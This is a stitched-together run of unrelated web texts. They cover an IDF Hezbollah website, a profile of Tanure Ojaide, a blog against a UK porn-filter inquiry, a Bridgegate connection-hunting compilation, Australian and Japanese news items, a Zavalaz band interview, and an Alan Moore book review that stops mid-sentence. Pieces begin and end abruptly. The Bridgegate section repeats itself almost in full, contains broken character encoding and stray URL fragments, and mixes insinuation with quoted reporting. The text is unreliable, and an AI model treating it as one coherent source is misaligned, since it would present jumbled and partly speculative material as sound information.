interesting and high quality it will create a buzz about Hezbollah, and raise awareness about this organization that is sitting on our border with 60,000 rockets [pointed in Israel’s direction].”Leibovich said some of the information came from classified sources, including combat intelligence troops based on the Lebanese border.On the other side of the border, however, Lebanese journalists were not impressed with the website.“This is the kind of information that any person can get on the web,” Farid Chedid, the editor of Lebanon Wire told The Media Line. “There is nothing new – it’s just a compilation of anti-Hezbollah propaganda.”In Lebanon, Chedid says, Hezbollah is seen as an Iranian proxy, but it also runs a network of schools and clinics, providing salaries to thousands of Lebanese and social services to many more.The website was put together by Pvt. Gabriel Freund, 25, an immigrant to Israel from Australia with a background in computer graphics.“We tried to tell the story of the terrorist organization Hezbollah to the world in a way that is easy to share,” Freund told. “We tried to make it as interactive as possible. You can see it is user friendly and you can easily access different parts of the site.”The website also includes animations and videos showing how Hezbollah uses civilian homes from which to launch weapons. It was launched as Israel has undertaken a campaign to convince more of the international community to define Hezbollah as a terrorist organization. Seven states, including the US and Israel already define Hezbollah that way.Leibovich says the interactive media branch has gained a large following with 340,000 followers on Facebook and more than 35 million page views on YouTube.“This initiative shows the military has to adapt to a new media war zone which is interactive media,” Leibovich said.A similar website on Hamas is currently being planned. The Hezbollah website can be found at http://www.idfblog.com/hezbollah/
Join Jerusalem Post Premium Plus now for just $5 and upgrade your experience with an ads-free website and exclusive content. Click here>>African literature is considerably popular these days around the world. In fact, since 1986 when the continent won its first Noble Prize for literature, there have been drastic changes occurring across the literary landscape of the region. In the recent times, a number of exceptionally talented literally geniuses have emerged across the continent. These gifted geniuses literally captivate their readers coming from all corners of the globe.
Among this genre of exceptionally gifted African writers, Dr. Tanure Ojaide deserves to be especially mentioned. Dr. Ojaide is a prolific author, a gifted poet and a marvelous writer who works on varieties to flavors and topics. Dr. Ojaide has dedicated his life to introducing the enriched culture of Africa to the world outside. Currently, this Urhobo genius is gracing chair of the Frank Porter Graham Professor of Africana Studies at the University of North Carolina.
Dr. Ojaide’s unique versatility has enabled him to work on a contrasting range of literature. As a keen sociopolitical observer he has contributed heavily to various issues involving the economic and environmental conditions of the continent. As a student, he finished the Federal Government College at Warri before moving on to the University of Ibadan. After completing his bachelor’s degree in English from here, he joined the renowned University of Syracuse. From here, he completed both, M.A. in Creative Writing and Ph.D. in English.
Dr. Ojaide is a sensitive soul who has developed a deep understanding about the people and soil of Africa over the years. His books on the Niger delta conflict are considered as some of the most authentic documents on the subject all over the world. Dr. Ojaide’s powerful and dedicated writing has earned him a distinguished position across the global literary circle. He has to travel extensively around the world throughout the year to keep-up with various invitations and engagements. These exposures have certainly helped him to hone his talent and improve on his natural expertise. Considering the depth and varieties of topics he works upon, it is natural that he commands over almost an infinite number of readers from all corners of the globe.
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I’ve just been reading through Clare Perry’s ‘Independent Parliamentary Inquiry into Online Child Protection‘ which, of course, recommends the introduction of opt-in porn filters on internet connections in the UK.
Its fair to say that I’ve spotted one or two problems with the report that need to be flagged up.
Problem number 1 can be found in the title of the report and the use of the words ‘Independent’ and ‘Parliamentary Inquiry’.
‘Independent’, in this case, translates into the following branding on the back page of the report.
For the avoidance of all doubt, Safer Media’s charitable objects read as follows:
The protection of good mental and physical health, in particular of children and young people, by working in accordance with Christian values to minimise the availability of potentially harmful media content displaying violence, pornography and explicit sex, bad language and anti-social behaviour and the portrayal of drugs, and with a view to the reduction of crime by; A) raising awareness and increasing understanding of the impact of harmful media content among policy makers, service providers and the public.
B) educating the public and providing guidance and support to enable parents and carers to better protect children and young people.
C) monitoring media content for compliance with established national guidelines and standards required by the law and seeking strengthening of these guidelines and standards as necessary in the light of academic research.
D) commissioning and conducting research and disseminating the useful results thereof.
You can make up your own mind as to how ‘independent’ that is.
As for ‘Parliamentary Inquiry’, this should really state ‘Ad-hoc group of MPs operating entirely outside any formal parliamentary structures and with no formal Parliamentary status’.
This ‘inquiry’ is apparently supported by more than sixty MPs and Peers with a ‘core team’ which made up the ‘inquiry panel’ the member’s of which are listed in the report as having been:
Claire Perry, Conservative (Chair)
Peter Aldous, Conservative
Harriett Baldwin, Conservative
Julian Brazier, Conservative
Annette Brooke, Liberal Democrat
Fiona Bruce, Conservative
David Burrowes, Conservative
Mark Garnier, Conservative
Helen Goodman, Labour
Baroness Howe, Cross Bencher
Andrea Leadsom, Conservative
Denis MacShane, Labour
Fiona Mactaggart, Labour
Mark Pawsey, Conservative
David Rutley, Conservative
Andrew Selous, Conservative
Jo Swinson, Liberal Democrat
More observant regulars might well note rather a surfeit of known god-botherers there. David Burrowes and Fiona Bruce were both directly involved in the recent ‘Clearing the Ground‘ report of the Christians in Parliament All Party Group.
They also masqueraded as an ‘independent parlismetary inquiry’ but which actually amounted to nothing more than extended whinge about non-existent persecution and teh gayerz being treated as equal citizens – that report was sponsored by the Evangelical Alliance.
As for being an inquiry, I can find nothing yet to indicate that an open call for submissions or evidence was ever issued.
However, the most striking thing about this report is exemplified by the following quotation from the text of one of its oral evidence sessions:
Claire Perry: Harriett did you have a..? I’m so sorry, Jacqui…. Jacqui Smith: The Sex Education Board told me that they thought there should be more sex education for younger people to deal with the impact of online pornography. Harriett Baldwin: Thank you. Just very quickly really on the technology question because all of this is about online pornography and many teenagers these days will have access to the internet through their mobile phone. I just wondered if you have a view in terms of what likely patterns there are? Are we finding that more and more children have access to that through 3G technology?
During one of the sessions, the importance of sex education was raised – at some length – by Julia Bentley (FPA), Will Gardner (Childnet International) and by Jacqui Smith, and the brush off that Smith got at this point is pretty much illustrative of the ‘inquiry panel’s’ general attitude to the points raised about sex education throughout this sesssion.
What’s evn more worrying is the panel’s final recommendation:
8. Finally, the Government should consider the merits of a new regulatory structure for online content, with one regulator given a lead role in the oversight and monitoring of internet content and in improving the dissemination of existing internet safety education materials and resources such as ParentPort.
Lest we forget, Safe Media’s stating objectives don;t stop at just pornography…
to minimise the availability of potentially harmful media content displaying violence, pornography and explicit sex, bad language and anti-social behaviour and the portrayal of drugs
These bastards want to censor the internet outright.European leaders are so exasperated with Britain's demands they they are privately saying that "if Brits want to leave, let them leave", the President of the European Parliament has said.
Martin Schulz, the President of the European Parliament, made the comments at a speech in the London School of Economics in central London.
Mr Schulz, who has been the President since 2012, set out why he wants Britain to stay within the European Union, admitting that it "often tests our patience".
Mr Schulz also said that MEPs could amend some of David Cameron's EU reforms after the referendum |
16njzo.html?adxnnl=1&ref=realestate&adxnnlx=1389907071-3WNpug1GJYB8z49lOo2ADA
Silverstein-Taubman, by contrast, envisions an upscale fashion retail center with a mix of restaurants, to attract �a large trade area of underserved New Jersey and New York shoppers.� There would be apartment units over the low-rise part of the retail center; two housing towers would be built in a latter phase.
SNIP
One obvious hurdle for the two proposals that would extend over the full 16 acres is Tucker�s ownership of the eight acres on the west.
Mr. Tucker made it clear in an interview that his company intended not to sell its property but to develop it � though perhaps in concert with partners.
The Tucker proposal, called Hudson Lights (for the green �necklace� of lights sparkling on the bridge at night), calls for 940,000 square feet of construction: 185,000 square feet of retailing, restaurants and a health club as well as 357 rental apartments and 170 condominiums.
TUCKER�S IN THE PROCESS OF OBTAINING FINANCING
http://www.msnbc.com/steve-kornacki/the-bridgegate-theory-you-havent-heard
There was good reason for the project to be on Sokolich�s mind. The redevelopment of the land has been laying out in several phases. Twin 47-floor towers are currently under construction on half of it, with residents expected to begin moving in late this year. But back in September, when the lanes were closed, financing had not yet been finalized for the redevelopment of the second half of land � a plan to build a mix of commercial, residential and parking facilities. Speedy access to the George Washington Bridge � and to those access lanes in particular � is what made the land particularly valuable, both to developers and potential tenants. A study commissioned by Fort Lee a year earlier had stressed that, once the site was redeveloped, anyone living or working at it would be able to drive to the bridge expeditiously even during rush hour. And in a brochure, the lead developer of the second half of the project � a development called Hudson Lights � played up its proximity to the bridge.
Notably, a Bergen Record report from last September 16 announced that financing had � after an unexpected delay � been finalized for the Hudson Lights portion of the redevelopment. That date � September 16 � came three days after New York officials at the Port Authority intervened to put an end to the lane closures.
SNIP
And that September closure, we can now say, didn�t simply complicate the everyday lives of Fort Lee residents. It potentially jeopardized the value and the future of a $1 billion redevelopment plan that has been the centerpiece of Sokolich�s mayoral agenda for years.
WHO IS DAVID SAMSON AGAIN?
The (former) Chairman of the Port Authority, David Samson is one of the people who showed up in the bridgegate emails. When the executive director of the PA ordered the lanes to the bridge opened up again, Wildstein sent an email saying that Samson was helping him "retaliate." But Samson says he has no idea what Wildstein meant and Christie says he believes him.
He was also, at the same time, a partner of the Wolff and Samson law firm, which seems to have its tentacles all over NJ.
http://abcnews.go.com/Politics/chris-christie-appointee-david-samson-resigns-bridge-agency/story?id=23103051
Whether Samson was aware of the politically motivated traffic jam was brought into question by an email that Wildstein wrote to Kelly after the lanes were reopened. In the email Wildstein wrote to Kelly saying in part,, �Samson helping us to retaliate.�
Christie said in a January news conference that neither he nor Samson knew what Wildstein was referring to. The governor repeated today that he had �no idea� what Wildstein meant in his email.
The governor defended Samson today, saying the former attorney general insisted he was not involved in the decision to shut the bridge lanes.
�I spoke to General Samson on Jan. 8. I asked him what he knew about this...He said �absolutely not,�� Christie said.
http://www.nytimes.com/2014/01/16/nyregion/post-scandal-future-unclear-for-port-authoritys-low-profile-leader.html?hpw&rref=nyregion&_r=0
He has been a close adviser to three New Jersey governors and was appointed state attorney general by a fourth. He was a co-founder of one of the state�s largest law firms. And for two years he has led the Port Authority of New York and New Jersey. Yet outside of New Jersey political and legal circles, David Samson, 74, has steadfastly maintained a low profile.
That appears likely to change. After Mr. Samson spent decades as one of the state�s most influential behind-the-scenes power brokers, his role in the aftermath of the bridge scandal and his ties to Gov. Chris Christie, who appointed him, are expected to receive close scrutiny.
SNIP
Last year, Wolff & Samson was among several firms selected for possible use by government agencies to audit the spending of Hurricane Sandy relief money, which has come under federal review for its spending on commercials that featured Mr. Christie.
�It would be like if Major League Baseball appointed A-Rod to audit their drug testing program,� said Jeff Tittel, director of the New Jersey branch of the Sierra Club. �The law firm is so close to the Christie administration that there�s barely any line of separation.�
HOW ELSE IS SILVERSTEIN CONNECTED TO SAMSON?
http://en.wikipedia.org/wiki/World_Trade_Center_site
The World Trade Center site (ZIP code: 10048), formerly known as "Ground Zero" after the September 11 attacks, sits on 16 acres (65,000 m2) in Lower Manhattan in New York City.[1] The previous World Trade Center complex stood on the site until it was destroyed in the September 11 attacks; Studio Daniel Libeskind, the Port Authority of New York and New Jersey, Silverstein Properties, and the Lower Manhattan Development Corporation oversee the reconstruction of the site. The site is bounded by Vesey Street to the north, the West Side Highway to the west, Liberty Street to the south, and Church Street to the east. The Port Authority owns the site's land (except for 7 World Trade Center). Developer Larry Silverstein holds the lease to retail and office space in four of the site's buildings.[2]
While the Port Authority of New York and New Jersey is often identified as the owner of the WTC site, the ownership situation is actually somewhat complex and ambiguous.[3] The Port Authority indeed owns a "significant" internal portion of the site of 16 acres (65,000 m2), but has acknowledged "ambiguities over ownership of miscellaneous strips of property at the World Trade Center site" going back to the 1960s. It is unclear who owns 2.5 acres (10,000 m2) of the site, being land where streets had been before the World Trade Center was built.
http://online.wsj.com/news/articles/SB10001424052748704483004575524730536657048
New Jersey Gov. Chris Christie on Thursday nominated as chairman of the Port Authority David Samson, a prominent attorney who for years had as a client World Trade Center developer Larry Silverstein, the bi-state agency's most high profile tenant and frequent adversary.
HOW IS THE ROCKEFELLER GROUP (property owner in Hoboken) CONNECTED TO SAMSON?
http://www.nydailynews.com/news/politics/politically-connected-real-estate-firm-stalled-hoboken-article-1.1584451
The Rockefeller Group�s most obvious tie to Gov. Christie�s administration was its law firm, Wolff & Samson, which is home to partner David Samson, who was appointed chairman of the Port Authority by his friend Christie � and whose name has surfaced in the Bridgegate scandal.
WHY WAS CHRISTIE�S GAL PAL MICHELE BROWN (to whom Christie once lent $46K and forgot to report it in his taxes), APPOINTED THE HEAD OF THE ECONOMIC DEVELOPMENT AUTHORITY? i.e., the person in charge of all this redevelopment?
http://www.njbiz.com/article/20120924/NJBIZ01/120929960/&template=printart
Lesniak (D-Union) is feuding with Gov. Chris Christie's administration over the appointment of Christie appointments counsel Michele Brown to replace Caren S. Franzini as CEO of the New Jersey Economic Development Authority. Lesniak said it was a political pick to lead a nonpartisan agency.
"Did they do a search to replace Caren Franzini and Michele Brown's resum� popped out as number one in this search? Of course not," Lesniak said.
MORE ON MICHELE BROWN:
http://www.democraticunderground.com/10024326360
with those awful traffic jams?Probably not because the Mayor failed to endorse him.He and Christie and Michele Brown have their fingerprints all over this.Remember thatsays Christie was pushing for the Rockefeller Group�s 3-block redevelopment plan to get expedited in Hoboken � at the expense of similar neighboring properties which would not be designated as needing redevelopment?The 16 acres are owned in two parcels, one by the Chicago firm, Tucker Development, and another by Fort Lee Redevelopment Associates. The Borough of Fort Lee solicited proposals for either all or half of the site. The winning bidders � Tucker Development (for its project called �Hudson Lights�) and the Fort Lee Redevelopment Associates � are working on getting their properties financed.Tucker was days away from getting approval for its millions in construction financing when someone in the Christie administration ordered the lane closures. The biggest selling point of both developments was easy access to the GWB, so daily traffic jams there � or Christie�s ability to do that at will � put in jeopardy all the financing.And whom is Silverstein represented by? David Samson, attorney and head of the Port Authority. (And who is also a developer on NYC�s World Trade Center site? Silverstein. And who is in charge of the World Trade Center site? Samson, as head of the Port Authority.)And to help facilitate this,the completely unqualified Christie crony who Christie put in the job at the top of the Economic Development Authority � Christie�s eyes and ears.Oh, what a tangled web they weave...In the early 1970s, when Burt Ross was the mayor of Fort Lee, he was offered a $500,000 bribe by Norman Dansker, a developer who wanted zoning variances to build a retail and office complex on the 16-acre site. Mr. Ross alerted federal authorities, then wore a recording device in a sting operation that led to the conviction of Mr. Dansker and several other executives.Harry Helmsley, the real estate mogul who owned the Helmsley hotels, later bought the land but did not build on it. His widow, Leona, sold the property in 2003 to a developer.But that developer�s plans failed to materialize, too. By 2009, the elected official of Fort Lee had decided to press for something to be built on the site and solicited bids from developers.They selected SJP Properties to construct the entire project.The settlement of that suit left Tucker to build Hudson Lights, which will include 143,000 square feet of retail space and 247 apartments. Tucker broke ground in October, but construction has not yet begun.Taubman, by contrast, envisions an upscale fashion retail center with a mix of restaurants, to attract �a large trade area of underserved New Jersey and New York shoppers.� There would be apartment units over the low-rise part of the retail center; two housing towers would be built in a latter phase.SNIPMr. Tucker made it clear in an interview that his company intended not to sell its property but to develop it � though perhaps in concert with partners.The Tucker proposal, called Hudson Lights (for the green �necklace� of lights sparkling on the bridge at night), calls for 940,000 square feet of construction: 185,000 square feet of retailing, restaurants and a health club as well as 357 rental apartments and 170 condominiums.There was good reason for the project to be on Sokolich�s mind. The redevelopment of the land has been laying out in several phases. Twin 47-floor towers are currently under construction on half of it, with residents expected to begin moving in late this year. But back in September, when the lanes were closed, financing had not yet been finalized for the redevelopment of the second half of land � a plan to build a mix of commercial, residential and parking facilities. Speedy access to the George Washington Bridge � and to those access lanes in particular � is what made the land particularly valuable, both to developers and potential tenants. A study commissioned by Fort Lee a year earlier had stressed that, once the site was redeveloped, anyone living or working at it would be able to drive to the bridge expeditiously even during rush hour. And in a brochure, the lead developer of the second half of the project � a development called Hudson Lights � played up its proximity to the bridge.Notably, a Bergen Record report from last September 16 announced that financing had � after an unexpected delay � been finalized for the Hudson Lights portion of the redevelopment. That date � September 16 � came three days after New York officials at the Port Authority intervened to put an end to the lane closures.SNIPThe (former) Chairman of the Port Authority, David Samson is one of the people who showed up in the bridgegate emails. When the executive director of the PA ordered the lanes to the bridge opened up again, Wildstein sent an email saying that Samson was helping him "retaliate." But Samson says he has no idea what Wildstein meant and Christie says he believes him.He was also, at the same time, a partner of the Wolff and Samson law firm, which seems to have its tentacles all over NJ.Whether Samson was aware of the politically motivated traffic jam was brought into question by an email that Wildstein wrote to Kelly after the lanes were reopened. In the email Wildstein wrote to Kelly saying in part,, �Samson helping us to retaliate.�Christie said in a January news conference that neither he nor Samson knew what Wildstein was referring to. The governor repeated today that he had �no idea� what Wildstein meant in his email.The governor defended Samson today, saying the former attorney general insisted he was not involved in the decision to shut the bridge lanes.�I spoke to General Samson on Jan. 8. I asked him what he knew about this...He said �absolutely not,�� Christie said.He has been a close adviser to three New Jersey governors and was appointed state attorney general by a fourth. He was a co-founder of one of the state�s largest law firms. And for two years he has led the Port Authority of New York and New Jersey. Yet outside of New Jersey political and legal circles, David Samson, 74, has steadfastly maintained a low profile.That appears likely to change. After Mr. Samson spent decades as one of the state�s most influential behind-the-scenes power brokers, his role in the aftermath of the bridge scandal and his ties to Gov. Chris Christie, who appointed him, are expected to receive close scrutiny.SNIPLast year,, which has come under federal review for its spending on commercials that featured Mr. Christie.�It would be like if Major League Baseball appointed A-Rod to audit their drug testing program,� said Jeff Tittel, director of the New Jersey branch of the Sierra Club.The World Trade Center site (ZIP code: 10048), formerly known as "Ground Zero" after the September 11 attacks, sits on 16 acres (65,000 m2) in Lower Manhattan in New York City.[1] The previous World Trade Center complex stood on the site until it was destroyed in the September 11 attacks; Studio Daniel Libeskind, the Port Authority of New York and New Jersey,and the Lower Manhattan Development Corporation oversee the reconstruction of the site. The site is bounded by Vesey Street to the north, the West Side Highway to the west, Liberty Street to the south, and Church Street to the east. The Port Authority owns the site's land (except for 7 World Trade Center). Developer Larry Silverstein holds the lease to retail and office space in four of the site's buildings.[2]While the Port Authority of New York and New Jersey is often identified as the owner of the WTC site, the ownership situation is actually somewhat complex and ambiguous.[3] The Port Authority indeed owns a "significant" internal portion of the site of 16 acres (65,000 m2), but has acknowledged "ambiguities over ownership of miscellaneous strips of property at the World Trade Center site" going back to the 1960s. It is unclear who owns 2.5 acres (10,000 m2) of the site, being land where streets had been before the World Trade Center was built.New Jersey Gov. Chris Christie on Thursday nominated as chairman of the Port Authority David Samson, a prominent attorney who for years had as a client World Trade Center developer Larry Silverstein, the bi-state agency's most high profile tenant and frequent adversary.The Rockefeller Group�s most obvious tie to Gov. Christie�s administration was its law firm, Wolff & Samson, which is home to partner David Samson, who was appointed chairman of the Port Authority by his friend Christie � and whose name has surfaced in the Bridgegate scandal.i.e., the person in charge of all this redevelopment?Lesniak (D-Union) is feuding with Gov. Chris Christie's administration over the appointment of Christie appointments counsel Michele Brown to replace Caren S. Franzini as CEO of the New Jersey Economic Development Authority. Lesniak said it was a political pick to lead a nonpartisan agency."Did they do a search to replace Caren Franzini and Michele Brown's resum� popped out as number one in this search? Of course not," Lesniak said. 271 TweetAbbott backs Barnett on Buswell's return
Updated
The Federal Liberal Leader Tony Abbott says he is confident the WA Premier will continue to run a strong government, amid speculation Troy Buswell is returning to State Cabinet.
The former Treasurer was forced to resign from the portfolio after he admitted misusing his parliamentary entitlements during an affair with the then Greens MP Adele Carles.
He was later cleared of any wrongdoing, but remains on the backbench.
The Premier Colin Barnett is tipped to announce Mr Buswell will return as the Minister for Housing and Transport next week.
Mr Abbott says it's a matter for the premier.
"I'm confident that the West Australian Liberal Government will continue to be a great political asset for Liberals everywhere," he said.
The State Opposition Leader Eric Ripper believes it is only a matter of time before Mr Buswell again embarrasses the government.
"Mr Buswell gives us an embarrassment about once every six months," he said.
"That's the record and that's what we can look forward to if he's returned to Cabinet."
Topics: states-and-territories, government-and-politics, perth-6000, wa
First postedWhat would happen if 1,500 pedestrians walked across the famous crossing in front of Tokyo’s Shibuya Station while using their smartphones?
Only 36 percent would make it to the other side because many would bump into each other or fall, according to a computer simulation by NTT Docomo Inc. that is generating a buzz on the Internet.
The nation’s top carrier posted on March 28 a video clip of the simulation to raise awareness of the dangers of texting while walking. It had been viewed more than 1.87 million times as of Thursday.
“Staring at a smartphone screen while walking distracts your attention from what is going on around you and is very dangerous. And it’s not only dangerous for you, but there is also the possibility of involving other people in a major accident,” Docomo said in a statement on YouTube, adding that one in five people who use smartphones while walking becomes involved in an accident or is otherwise injured.
As the trend in texting while walking grows, the carrier decided to study how much danger pedestrians were risking, it said. The simulation set up 1,500 people walking at speeds of 3, 4 or 6 kph. Each simulated pedestrian was 160 cm tall and weighed 58 kg, the median for Japanese.
It assumed that pedestrians who text while walking have a range of vision one-twentieth that of normal, so they cannot see obstacles until they are 1.5 meters away. Pedestrians who fail to avoid a collision either apologize, fall down or drop their phone.
The pedestrians had 46 seconds to cross before the signal turned red.
The result of the simulation was that there were 446 collisions leading to 103 cases of falling and 21 dropped phones. Only 547 pedestrians crossed without incident.What do you do when your prolific, platinum-selling band calls it quits after 11 years? If you’re Cedric Bixler-Zavala, you start again. Following The Mars Volta’s messy January breakup, the singer took to the web to air his complaints with longtime bandmate and collaborator Omar Rodríguez-López.
“I guess a break from Mars Volta means starting another band and ignoring all the support the fans gave us,” Bixler-Zavala tweeted in January in reference to Rodríguez-López’s new act, Bosnian Rainbows.
Nowadays, though, the singer is far more interested in looking forward than dwelling on the past. Last month he unveiled the title of his new project, Zavalaz, and this week he hits the road for the band’s first string of tour dates, which includes a stop at SOhO Restaurant & Music Club on Wednesday, June 19. Speaking recently via phone, Bixler-Zavala offered some insights into the new sound, as well as some thoughts on the demise of The Mars Volta.
Courtesy Photo
So, how did this project come together? Well, it started off with me just having the courage to play my guitar again. My wife would listen to me play and be really encouraging. I was writing a lot of really ballad-y stuff for her; it was all predominantly love songs, really. Then Robert Carranza is this engineer I know — we worked with him with Mars Volta a while back — and he worked with people like Los Lobos and Jack Johnson and was really complimentary. Juan [Alderete, Volta bassist] came in to help with drum ideas, and eventually it just felt like ethically and spiritually it was the right thing to do to make a band.
So there’s an album in the works? Yes. It’s being mixed right now by Noah Gorgeson. Leif Podhajsky —who does most of the Tame Impala stuff —he did a record cover for it, which is great. Otherwise we’re just looking for a home. Hopefully it will be soon, but we still need to work out the kinks when we play live. You don’t know what it’s really like until you play in front of a bunch of people.
How would you describe Zavalaz’s sound? It’s part of that classic Southern California ballad music for sure. There’s a lot of harmonies and a lot of me sort of paying homage to the music my parents listened to when I was a little kid. There are some obvious Fleetwood Mac influences and some obvious Neil Young influences. I’d like to think, maybe naively and romantically, that I’m not ripping them off. [Laughs.] That’s where I’m at right now.
Are there any other major influences? I’ve always had a thing for the ballad-y parts of Roky Erickson. There’s a big audience that loved him for his crazy mental imagery and his heavier rock songs, but that guy is a fucking master when it comes to playing ballads; they’re always heartbreaking. There were such brief moments in the chaos of what [Mars Volta] was known for; I just wanted to embrace a lot of that, because it’s probably the most uncool thing I could do with my career. [Laughs.]
Did you entertain the idea of a solo record prior to the breakup? I always thought that I could never fully realize any sort of solo thing unless I could put my all into it. Plus, I didn’t like doing anything else because I always felt like, for me, it was a conflict of interest; it would have diluted the band if I would have started doing a grip of solo things. I’m old fashioned that way. I think if you’re going to dabble in other stuff, it should be a brief thing, and you should really give a project your focus. It’s like, if I’m in a gang, I want to be known for that gang; I don’t need to be known for any sub-affiliate gangs.
Where are you and Omar at nowadays? We’re not really on speaking terms. The falling out had been four years in the making, so the final announcement on my part was really just to let the children know that Mom and Dad were splitting up. I think there’s a lot to be identified in Kim and Thurston. [Laughs.]
4•1•1
Zavalaz plays SOhO Restaurant & Music Club (1221 State St.) on Wednesday, June 19, at 8 p.m. with Dot Hacker. For tickets and info, call (805) 962-7776 or visit clubmercy.com.Advance word said Alan Moore’s second novel was going to be a million words long, and set entirely in one Northampton district, the Boroughs. Neither half of this is strictly true; there are sections outside Northampton, even as far as London, and if Moore’s cosmology can claim Lambeth as somehow part of the Boroughs, it surely can’t carry off quite the same trick with St Paul's. But, it's close enough. Still, if he'd really wanted to fuck with people he should have said, quite honestly, that it
Advance word said Alan Moore’s second novel was going to be a million words long, and set entirely in one Northampton district, the Boroughs. Neither half of this is strictly true; there are sections outside Northampton, even as far as London, and if Moore’s cosmology can claim Lambeth as somehow part of the Boroughs, it surely can’t carry off quite the same trick with St Paul's. But, it's close enough. Still, if he'd really wanted to fuck with people he should have said, quite honestly, that it was the best part of 1,200 pages concerning the cosmic ramifications of a small boy from an unregarded area of 1950s Northampton choking on a cough sweet. A small boy who happens to be the brother of a cult artist - yes, Alan Moore himself, here going by the name Alma Warren. She’s an artist rather than a writer, and the beard has been swapped for lipstick, but is very obviously the same person in all other respects, and as Moore has himself admitted, not an entirely plausible female character. But then, as he equally fairly caveated, Alan Moore isn’t a particularly plausible male character either.And the million words? No, a mere 600,000. Which is to say, longer thanandcombined; the change left over would be sufficient for a Narnia book, and one way to understandwould be to consider it as a combination of all three. Still, its size has an impact all its own, and you can tell that Moore is at least a little annoyedis not in fact longer than the whole Bible (all Steve Jones' fault, apparently. As in the science writer, though given Moore it could equally have been the Sex Pistol). But again, think of it as a new Testament with the myths of sin and redemption grounded among the beggars, sinners and tax-collectors of a new age and you’ll not go far wrong; for saying it was written by a wizard who worships a serpent, it’s a surprisingly christian text, albeit perhaps not in the way passers by assume when they see you carrying a mammoth tome called. It’s a solid, craftsman’s reinterpretation, earthy even as it’s cosmic, where angels are always called ‘angles’ or ‘builders' - and the novel feels built, a structure whose every beam interlocks so perfectly with every other that it could never have been otherwise, thus embodying the vision of the world it expounds.So how does such a small incident fill all those pages? By ricocheting out, centuries into the past and even further into the future, and bouncing off the lives and afterlives of all manner of Boroughs folk, from the lowliest beggar to fiends and archangels. There are layers upon layers here, events intertwining across the decades, and up and down the layers of reality. In some respects I think this may be pretty much the bookwhich Lawrence Norfolk failed to write, and which ever since I first heard about it I’ve regretted our world does not possess. Well, I need grieve no longer, because not only has Moore done it but I think he’s done it as well as it can be done. He knows that to encompass the full spectrum of human experience requires a novel that’s as happy being fantasy, horror, comedy, Olaf Stapledon-style SF, kids’ adventure story, tragedy, noir pastiche, verse or a weirdly close parallel to Pixar'sas anything recognisably litfic. Sometimes, as in, you even need a whole chapter which is actively annoying (there the ringtone trill of the Sirens; here, the self-justificatory internal monologue of a bent ex-councillor). And if the result is verging on the unmanageable…well, so be it, because isn't life? Within, Alma is working on a series of paintings bearing the same titles and themes as the novel’s chapters, and in some ways that exhibition might be a better way to encounter this matter. There’s another work of provincial English visionary literature,, which I always compare to a great cathedral – it’s amazing, it’s majestic, but who the Hell wants to look at every stone of a cathedral? So of course you don't read the whole thing. And I suspect the same may come to apply here. If certain chapters ofcame to be read more often than others down the years, I wouldn’t be the least bit surprised. Though looking at other reviews, it’s interesting how there’s no clear consensus on the best or worst bits. Some found the middle section following the Dead Dead Gang unbearable, whereas I'd say that this posthumous romp with the afterlife’s own amalgam of every Outlaws, Famous Five et al the easiest and most immediately rewarding going of the whole affair. Others considered the opening section’s stories of various Boroughs residents fractured and dull. Interestingly, only a broadsheet critic seemed willing to suggest the already notorious Lucia Joyce chapter was a sham, perhaps feeling that his venue inoculated him against accusations of philistinism (in which case, more fool him). But let the record state that yes, that chapter is a bastard, albeit a justified bastard which perfectly summarises itself and thus the whole project: “”a letterchewer in’ formerspeech so danse datenot evern daelight o’ meanhim cannyskip is’t dadfull graphity. Noteben literself contravail eover daddyvent hereye’son”.And yes, without a run-up, that passage is basically incomprehensible. But Moore knows this. Without whitewashing the working classes, there's a fierce pride in them here which is rare in modern fiction, at least divorced from sheer thuggishness. But also a rueful awareness that many of the people celebrated here are precisely those least likely to slog through the monument Moore has erected to them. And it is a monument; not the first recent work from Moore where one axis could be summarised as an old man moaning that 'It were all fields around here when I were a lad' (compare). But that's inextricable from the project: a man closer to the end of life than its beginning constructing a solid block of a book in which, like the solid blocks of time envisioned therein, all those lost relatives and scenes and sweets are preserved for eternity. And after all, if this is a problem it's a problem that's been in Western literature from its foundations: what's the Divine Comedy if not one writer turning his considerable gifts to a baroque rendition of the afterlife as it seems fair to him personally? And thus far at least, there's a lot less bloodshed which can be blamed on Moore's metaphysics.There are other little annoyances, though. Inevitably; a work of this size may be grand, even great, but I don’t think it’s possible for it to be perfect. Sometimes, the degree to which pretty much every character can flawlessly reel off details of local history gets a bit silly (cf Netflix's recent, where what worked brilliantly from Cage and Cottonmouth felt a bit daft once Goon #3 started getting in on the act; yes, absolutely there are people in poor neighbourhoods who know this stuff, but not *all* of them). Most of the polemic is managed such that it doesn’t tip over into Pat Mills territory; there’s one bravura chapter in which the global rise and imminent fall of money as a concept is paralleled with the life of one heroic, shambolic local leading the fight against the local manifestations of the corruption lucre bred. But that does lapse at times, especially in the Cromwell chapter (and as so often when I say this, that doesn’t even mean I disagree with the agenda, just the presentation). Too many editing mistakes creep in towards the end – something I’ve often noticed in recent books, but a particular shame here even as it’s particularly understandable, after hundreds upon hundreds of pages with nary a misplaced apostrophe. Not just typos, either, but a surprising slip when Sheridan is described as a novelist, itself tied into one frustrating cheat regarding the birth of genre fiction. This last is a particular shame given what a great job Moore mostly does in convincingly tying the birth and death of pretty much everything else, from free market capitalism to the gothic revivals, to his one small patch of English earth.Of course, part of the beauty of Alan Moore is that for all his fierce principles and justified self-regard, he’s also a master of that (fading, alas) British virtue of not taking oneself entirely seriously. Alma is by no means a wholly flattering self-portrait, and the book closes with the exhibition of heranalogue, seen through the eyes of her baffled, bullied brother. It’s a lightly self-mocking reprise of the whole novel, laced with wry half-admissions of failure: “you don’t think that there’s some element missing? As if I was using all the obvious effort as a camouflage to hide the fact that I’m not saying very much”. But that only makes the bold (if by that point unsurprising) conclusion all the more compelling: whatever its failings, only art can save the world, if not perhaps in the sense you might think.And ultimately, that’s the thing. It’s a book about predestination, and eternal recurrence. Which are concepts Moore seems on balance to find consoling, while also being aware that from another perspective they’re bloody terrifying. The angel's-eye chapter, and the finale of the novel's second section (with its competing carnivals of despair and joy), are two of the most truly staggering passages in the whole fabulous work, but also among those where this is most to the fore. And of them, the former at least also accepts the monstrousness of the whole set-up. 'Justice above the street’ is a seductive motto, but the way it plays out can be uncomfortably close to Spinoza, or even Leibniz' facile published work - everything for the best in this best of all possible worlds (which may not mean all that much if it was the only possible world all along). There's a hint to why the poor might have a better afterlife than the well-off, but to some extent those who have do better, forever, than those who have not. The only reward for being good is that you get to live with that always, but then people too limited even to torment themselves with their many sins – which is to say, the real monsters – will get to happily slaughter their way through eternity too. We do see one glimpse of how Hell might 